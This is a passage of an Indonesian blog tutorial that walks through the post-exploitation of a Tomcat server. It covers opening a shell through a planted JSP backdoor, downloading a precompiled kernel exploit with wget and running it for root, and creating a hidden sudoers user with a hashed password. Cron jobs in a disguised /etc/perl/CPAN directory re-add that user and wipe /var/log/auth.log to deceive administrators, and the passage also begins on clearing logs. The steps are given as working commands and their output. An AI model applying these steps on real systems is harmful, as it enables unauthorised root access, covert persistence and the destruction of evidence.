Kehebatan backdoor ini adalah tidak perlu adanya social enggineering karena backdoor tidak perlu diesekusi oleh user sistem target. group nobody/world pun sanggup memicu backdoor. sehingga attacker akan memicu backdoor tersebut dengan mengakses url backdoor maka attacker tidak perlu menunggu lama untuk membuka shell aktif..
http://192.168.1.6:8080/kenadeh/cazyptnwpvlazb.jsp
shell pun terbuka

4. Privilage Escalation

kita ketik “shell” untuk mengakses cmd server… ok sekarang dengan perintah id saya tau bahwa saya menggunakan akses user tomcat , dan gid = tomcat.
okey terlihat gambar di atas bahwa informasi kernel sudah kita dapatkan ,
uname -a
Linux ubuntu 2.6.35-02063504-generic #201008271919 SMP Fri Aug 27 20:27:22 UTC 2010 i686 GNU/Linux
Untuk mempermudah sya dalam mengeksploitasi maka saya teringat akan postingan om ekawithoutyou mengenai spawning bash pada http://forum.indonesianbacktrack.or.id/showthread.php?tid=2108 yang memungkinkan kita mengaktifkan /bin/bash atau bin/sh. Saya lebih senang dengan bin/bash heheheh
ok dilihat dari kernelnya tampaknya exploit kernel tersebut sangat mudah untuk didapatkan …kita tinggal harus mengupload backdoor tersebut, karenanya saya mencoba mencari direktori yang writetable untuk user tomcat ini..
Kemudian attacker tinggal mengupload exploit dengan fasilitas ‘wget‘
Sperti pada gambar di atas. attacker mengupload exploit kemudian menambahkan +x pada permission sehingga file tersebut sudah siap di jalankan. Exploit yang di upload ada baiknya sudah di compilasi dari script.c Mengingat tidak semua server memiliki gcc yang terinstall. Sehingga exploit kali ini sudah di kompilasi terlebih dahulu dari script c.
Kemudian attacker hanya tinggal mengesekusi file tersebut …
dan holaaa id=root gid=root ..

5. Maintaining access

Biasanya attacker akan berusaha untuk tidak meninggalkan jejak serta mengecoh sysadmin kemudian membuat dirinya sebuah akses tertentu untuk memasuki system tersebut di lain waktu …
Dalam hal ini saya memberikan sebuah contoh yang dulu sering saya lakukan ketika berhasil melakukan rooting. saya memanfaatkan crontab atau sebuah sistem task yang otomatis berjalan yang dapat ditentukan kapan sistem akan mengesekusinya. Kalau pada sistem windows kita sering mendengar automatic task. Saya akan membuat sebuah script.sh penambahan user.. hmm sebelumnya saya akan mencari tau kira-kira group-group apakah yang memiliki akses sudoers…
root@ubuntu:/var/lib/tomcat6/shared# cat /etc/sudoers
cat /etc/sudoers
...
#includedir /etc/sudoers.d
# Members of the admin group may gain root privileges
%admin ALL=(ALL) ALL
...
root@ubuntu:/var/lib/tomcat6/shared#
Ok dilihat dari keterangan pada /etc/sudoers bahwa grou admin adalah group yang memiliki hak “sudoers” , bermodal ini saya akan membuat system.shuntuk keperluan maintaining akses. Attacker biasanya akan memilih dir-dir yang sulit dideteksi .. dan membuat dir tersebut tersamar .. karena itu saya membuat sebuah dir di dalam /etc/perl/CPAN
root@ubuntu:cd /etc/perl/CPAN
root@ubuntu:/etc/perl/CPAN#
hmm setelah kita cukup membuat sebuah direktori yang sulit di deteksi .. saya membuat sebuah 2 buah file script.sh
isinya adalah sebagai berikut …yang pertama saya beri nama auth.sh
useradd admin -G admin -p saOhMg4WOk7iY -d /etc/perl/CPAN/.../.../ -s /bin/bash
sebenarnya isinya simple kok .. yaitu membuat user admin di bawah group sudoers admin dan berhomebase pada /etc/perl/CPAN/…/…/  tipe shell adalah/bin/bash. mungkin anda bertanya dari mana saya dapet ‘saOhMg4WOk7iY‘ itu enskripsi salt agar kita dapat langsung memberi user buatan kita password dalam satu perintah …cara dapetnya
root@eichel:~# perl -e 'print crypt("150787", "salt"),"\n"'
saOhMg4WOk7iY
yang kedua kita beri nama antifor.sh
isinya adalah
#/bin/bash
rm -rf /var/log/auth.log
touch /var/log/auth.log
userdel admin
hmm saya kreasikan dengan menghapus /var/log/auth.log dimana tiap otentifikasi user-user tercatat disana. kemudian membuat auth.log baru serta menghapus user admin. Kedua script tersebut akan kita jadwalkan pada crontab sistem target.
kita buat file crontab yang nntinya akan kita imput kedalam kita beri nama crontab
01 23 1,7,14,21 1-12 * /etc/perl/CPAN/.../..././auth.sh
01 0 2,8,15,22 1-12 * /etc/perl/CPAN/.../..././antifor.sh
file crontab itu menunjukan bahwa sistem secara otomatis akan mengesekusi file auth.sh tiap menit pertama pada jam 23 ( 11 malam ) dan berlaku pada tanggal 1,7,14,21 setiap bulan. baris dua cuma ane bedakan 1 hari sehingga anda tau bahwa user anda siap tiap tanggal tanggal 1,7,14,21 karena besoknya secara otomatis sistem akan menghapus user tersebut. Hal ini akan mengecoh sisadmin sehingga jika sisadmin lengah maka attacker terus mendapatkan akses masuk ssh dengan user privilage sudoers
ok , kita upload semua file tersebut ke dir yang telah kita buat…kebetulan ketiga file telah saya zip
root@ubuntu:/etc/perl/CPAN/.../...# wget http://192.168.1.10/auth.zip
wget http://192.168.1.10/auth.zip
--2012-04-12 12:47:38-- http://192.168.1.10/auth.zip
Connecting to 192.168.1.10:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 852 [application/zip]
Saving to: `auth.zip'
100%[======================================>] 852 --.-K/s in 0s

2012-04-12 12:47:39 (51.8 MB/s) - `auth.zip' saved [852/852]
Kemudian jgn lupa untuk men-chmod 777 ke seluruh file
langkah terakhir kita aktifkan crontab buatan kita :p
selamat anda telah berhasil melakukan tahap maintaining access …ketika pada waktunya user anda akan aktif ..
root@eichel:~# ssh admin@192.168.1.6
admin@192.168.1.6's password:
Added user admin.
tambahan : waktu crontab bisa anda modif.. ya sesuai kebutuhan lah.. siapa tau demi mengkamuflase admin anda menjadwalkan user anda aktif dalam waktu 1 bulan satu kali.
CLEAR LOG
yang perlu di perhatikan disini adalah
1.log tomcat
root@ubuntu:/var/log/tomcat6# ls
ls
catalina.2012-04-11.log catalina.out localhost.2012-04-12.log
catalina.2012-04-12.log localhost.2012-04-11.log
root@ubuntu:/var/log/tomcat6# cat localhost.2012-04-12.log
cat localhost.2012-04-12.log
Apr 12, 2012 7:04:26 AM org.apache.catalina.core.ApplicationContext log
---
INFO: HTMLManager: undeploy: Undeploying web application at '/kenadeh'
---
ok semoga tutorial ini berguna bagi teman-teman semua… akhir kata saya undur diri dari hadapan anda .. salam backtrackers…

 

Indahnya Berbagi Copyright © 2012 Fast Loading -- Powered by Blogger